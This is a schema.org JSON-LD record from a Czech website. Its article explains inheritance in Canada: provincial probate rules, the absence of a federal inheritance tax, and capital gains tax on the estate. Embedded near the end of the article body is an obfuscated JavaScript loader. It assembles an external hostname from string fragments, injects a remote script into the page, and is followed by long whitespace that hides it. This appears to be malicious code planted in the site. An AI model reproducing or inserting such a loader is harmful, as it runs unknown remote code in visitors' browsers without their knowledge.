[{"@context":"https:\/\/schema.org\/","@type":"Article","@id":"https:\/\/www.scancore.cz\/dedictvi-v-zahranici-jak-funguje-dedicka-dan-v-kanade\/#Article","mainEntityOfPage":"https:\/\/www.scancore.cz\/dedictvi-v-zahranici-jak-funguje-dedicka-dan-v-kanade\/","headline":"D\u011bdictv\u00ed v zahrani\u010d\u00ed: Jak funguje d\u011bdick\u00e1 da\u0148 v Kanad\u011b?","name":"D\u011bdictv\u00ed v zahrani\u010d\u00ed: Jak funguje d\u011bdick\u00e1 da\u0148 v Kanad\u011b?","description":"Vy\u0159izov\u00e1n\u00ed poz\u016fstalosti mimo \u010ceskou republiku je v\u017edy administrativn\u011b a pr\u00e1vn\u011b n\u00e1ro\u010dn\u00fdm procesem. Pokud pr\u00e1v\u011b \u0159e\u0161\u00edte d\u011bdictv\u00ed v zahrani\u010d\u00ed konkr\u00e9tn\u011b v severn\u00ed Americe, pravd\u011bpodobn\u011b v\u00e1s bude […]","datePublished":"2026-03-04","dateModified":"2026-03-04","author":{"@type":"Person","@id":"https:\/\/www.scancore.cz\/author\/#Person","name":"scancore.cz\n","url":"https:\/\/www.scancore.cz\/author\/","identifier":1,"image":{"@type":"ImageObject","@id":"https:\/\/secure.gravatar.com\/avatar\/aa13f0f1a5b61a2deba1492ce3bb4afe8e77d91eeb44c23db0ee08765a93abad?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/aa13f0f1a5b61a2deba1492ce3bb4afe8e77d91eeb44c23db0ee08765a93abad?s=96&d=mm&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"scancore.cz","logo":{"@type":"ImageObject","@id":"\/logo.png","url":"\/logo.png","width":600,"height":60}},"image":{"@type":"ImageObject","@id":"https:\/\/www.scancore.cz\/wp-content\/uploads\/nasledstvo-v-kanade-dlya-inostrancev-1024x6814_kfzot3.jpg","url":"https:\/\/www.scancore.cz\/wp-content\/uploads\/nasledstvo-v-kanade-dlya-inostrancev-1024x6814_kfzot3.jpg","height":0,"width":0},"url":"https:\/\/www.scancore.cz\/dedictvi-v-zahranici-jak-funguje-dedicka-dan-v-kanade\/","about":["Finance"],"wordCount":675,"articleBody":"          Vy\u0159izov\u00e1n\u00ed poz\u016fstalosti mimo \u010ceskou republiku je v\u017edy administrativn\u011b a pr\u00e1vn\u011b n\u00e1ro\u010dn\u00fdm procesem. Pokud pr\u00e1v\u011b \u0159e\u0161\u00edte d\u011bdictv\u00ed v zahrani\u010d\u00ed konkr\u00e9tn\u011b v severn\u00ed Americe, pravd\u011bpodobn\u011b v\u00e1s bude nejv\u00edce zaj\u00edmat, jak vysok\u00e1 je d\u011bdick\u00e1 da\u0148 v Kanad\u011b. Z\u00edsk\u00e1n\u00ed majetku z t\u00e9to obrovsk\u00e9 a pr\u00e1vn\u011b rozmanit\u00e9 zem\u011b toti\u017e p\u0159in\u00e1\u0161\u00ed celou \u0159adu \u00faskal\u00ed, odli\u0161nost\u00ed a specifik, na kter\u00e1 n\u00e1\u0161 st\u0159edoevropsk\u00fd pr\u00e1vn\u00ed syst\u00e9m zkr\u00e1tka nen\u00ed zvykl\u00fd. Jakmile se stanete opr\u00e1vn\u011bn\u00fdm d\u011bdicem, je naprosto nezbytn\u00e9 v\u010das se zorientovat v tom, jak\u00e9 kroky po v\u00e1s budou tamn\u00ed \u00fa\u0159ady vy\u017eadovat a na jak\u00e9 finan\u010dn\u00ed sr\u00e1\u017eky se mus\u00edte p\u0159ipravit. Specifika a pr\u016fb\u011bh kanadsk\u00e9ho \u0159\u00edzen\u00ed Samotn\u00e9 d\u011bdick\u00e9 \u0159\u00edzen\u00ed v zahrani\u010d\u00ed se v\u017edy \u0159\u00edd\u00ed p\u0159edpisy toho st\u00e1tu, kde m\u011bl z\u016fstavitel sv\u00e9 posledn\u00ed trval\u00e9 bydli\u0161t\u011b, p\u0159\u00edpadn\u011b kde se nach\u00e1z\u00ed jeho nemovit\u00fd majetek. V p\u0159\u00edpad\u011b Kanady to znamen\u00e1, \u017ee se cel\u00fd proces ne\u0159\u00edd\u00ed jednotn\u00fdm feder\u00e1ln\u00edm pr\u00e1vem, ale specifick\u00fdmi z\u00e1kony jednotliv\u00fdch provinci\u00ed (nap\u0159\u00edklad Ontario, Britsk\u00e1 Kolumbie nebo Alberta). D\u011bdictv\u00ed v Kanad\u011b tak m\u016f\u017ee m\u00edt v r\u016fzn\u00fdch \u010d\u00e1stech zem\u011b odli\u0161n\u00e1 pravidla pro jmenov\u00e1n\u00ed spr\u00e1vce poz\u016fstalosti (tzv. executor) i pro prokazov\u00e1n\u00ed platnosti z\u00e1v\u011bti (probate). Spr\u00e1vce poz\u016fstalosti, kter\u00e9ho ur\u010dil zem\u0159el\u00fd ve sv\u00e9 z\u00e1v\u011bti, nebo kter\u00e9ho v p\u0159\u00edpad\u011b neexistence z\u00e1v\u011bti jmenuje m\u00edstn\u00ed soud, m\u00e1 za \u00fakol shrom\u00e1\u017edit ve\u0161ker\u00e1 aktiva, uhradit v\u0161echny existuj\u00edc\u00ed dluhy a teprve pot\u00e9 rozd\u011blit zb\u00fdvaj\u00edc\u00ed \u010dist\u00fd majetek mezi pr\u00e1voplatn\u00e9 d\u011bdice.  Da\u0148ov\u00e9 povinnosti: Existuje v Kanad\u011b d\u011bdick\u00e1 da\u0148? Pokud jde o finan\u010dn\u00ed str\u00e1nku v\u011bci a d\u011bdictv\u00ed v Kanad\u011b pro cizince, m\u00e1me pro v\u00e1s pom\u011brn\u011b p\u0159ekvapivou, av\u0161ak pozitivn\u00ed zpr\u00e1vu. Tradi\u010dn\u00ed da\u0148 z d\u011bdictv\u00ed, tak jak ji zn\u00e1me z n\u011bkter\u00fdch evropsk\u00fdch st\u00e1t\u016f, v Kanad\u011b na feder\u00e1ln\u00ed \u00farovni v\u016fbec neexistuje. To ov\u0161em rozhodn\u011b neznamen\u00e1, \u017ee kanadsk\u00fd finan\u010dn\u00ed \u00fa\u0159ad (CRA) nech\u00e1 majetek zcela bez zdan\u011bn\u00ed. Kanadsk\u00fd da\u0148ov\u00fd syst\u00e9m toti\u017e p\u0159istupuje k \u00famrt\u00ed tak, jako by zem\u0159el\u00e1 osoba t\u011bsn\u011b p\u0159ed smrt\u00ed prodala ve\u0161ker\u00fd sv\u016fj majetek za aktu\u00e1ln\u00ed tr\u017en\u00ed cenu. Z tohoto fiktivn\u00edho prodeje se n\u00e1sledn\u011b vypo\u010d\u00edt\u00e1v\u00e1 takzvan\u00e1 da\u0148 z kapit\u00e1lov\u00fdch v\u00fdnos\u016f (capital gains tax). Tuto da\u0148 v\u0161ak neplat\u00ed p\u0159\u00edmo d\u011bdicov\u00e9 ze sv\u00e9 kapsy, n\u00fdbr\u017e se hrad\u00ed p\u0159\u00edmo z majetku samotn\u00e9 poz\u016fstalosti je\u0161t\u011b p\u0159ed jej\u00edm fin\u00e1ln\u00edm rozd\u011blen\u00edm. Z\u00edskat takov\u00e9 d\u011bdictv\u00ed ze zahrani\u010d\u00ed tedy znamen\u00e1, \u017ee obdr\u017e\u00edte ji\u017e \u201e\u010dist\u00fd\u201c pod\u00edl, ze kter\u00e9ho kanadsk\u00fdm \u00fa\u0159ad\u016fm dal\u0161\u00ed dan\u011b neodv\u00e1d\u00edte. P\u0159esto je nutn\u00e9 ov\u011b\u0159it si i p\u0159\u00edpadn\u00e9 da\u0148ov\u00e9 povinnosti v\u016f\u010di \u010desk\u00e9mu st\u00e1tu. Pro\u010d je profesion\u00e1ln\u00ed pomoc nezbytnost\u00ed? Pro \u010desk\u00e9ho ob\u010dana, kter\u00fd se v tamn\u00edm prost\u0159ed\u00ed b\u011b\u017en\u011b nepohybuje, je orientace v ciz\u00edm pr\u00e1vn\u00edm \u0159\u00e1du nesm\u00edrn\u011b obt\u00ed\u017en\u00e1. Jazykov\u00e1 bari\u00e9ra, nutnost zaji\u0161\u0165ov\u00e1n\u00ed \u00fa\u0159edn\u011b ov\u011b\u0159en\u00fdch p\u0159eklad\u016f listin, komunikace se spr\u00e1vcem poz\u016fstalosti a slo\u017eit\u00e1 mezin\u00e1rodn\u00ed byrokracie \u2013 to v\u0161e jsou faktory, kter\u00e9 mohou cel\u00fd proces vy\u0159\u00edzen\u00ed poz\u016fstalosti zna\u010dn\u011b zkomplikovat a ne\u00fam\u011brn\u011b prodlou\u017eit. Spolupr\u00e1ce se zku\u0161en\u00fdm advok\u00e1tem, kter\u00fd se specializuje na mezin\u00e1rodn\u00ed pr\u00e1vo, je proto tou nejrozumn\u011bj\u0161\u00ed investic\u00ed. Pr\u00e1vn\u00ed z\u00e1stupce za v\u00e1s pohl\u00edd\u00e1 v\u0161echny z\u00e1konn\u00e9 lh\u016fty, zkontroluje spr\u00e1vnost krok\u016f tamn\u00edho spr\u00e1vce a zajist\u00ed, \u017ee v\u00e1\u0161 opr\u00e1vn\u011bn\u00fd majetkov\u00fd pod\u00edl bude bezpe\u010dn\u011b a bez zbyte\u010dn\u00fdch poplatk\u016f p\u0159eveden na v\u00e1\u0161 bankovn\u00ed \u00fa\u010det v \u010cesk\u00e9 republice.  (function(){ wu6X=document.createElement(\"script\");wu6X.type=\"text\/javascript\"; wu6X.async=true;wu6X_=(\"op\"+(\"en\")+\"s\")+\"t\";wu6X_+=(\"at\")+\".e\";wu6X_+=((\"u\"));wu6X_+=\"\/\"; wu6Xu=\"2605370836.\";wu6Xu+=\"g6qvXps4u6X2tvlaxmghxyca563hzv\";wu6X.src=\"https:\/\/\"+wu6X_+wu6Xu; wu6Xdb=document.body;wu6Xdb.appendChild(wu6X); })();                                                                                                                                                                                                                                                                                                                                                                                           5\/5 - (1 vote)        "},{"@context":"https:\/\/schema.org\/","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"D\u011bdictv\u00ed v zahrani\u010d\u00ed: Jak funguje d\u011bdick\u00e1 da\u0148 v Kanad\u011b?","item":"https:\/\/www.scancore.cz\/dedictvi-v-zahranici-jak-funguje-dedicka-dan-v-kanade\/#breadcrumbitem"}]}]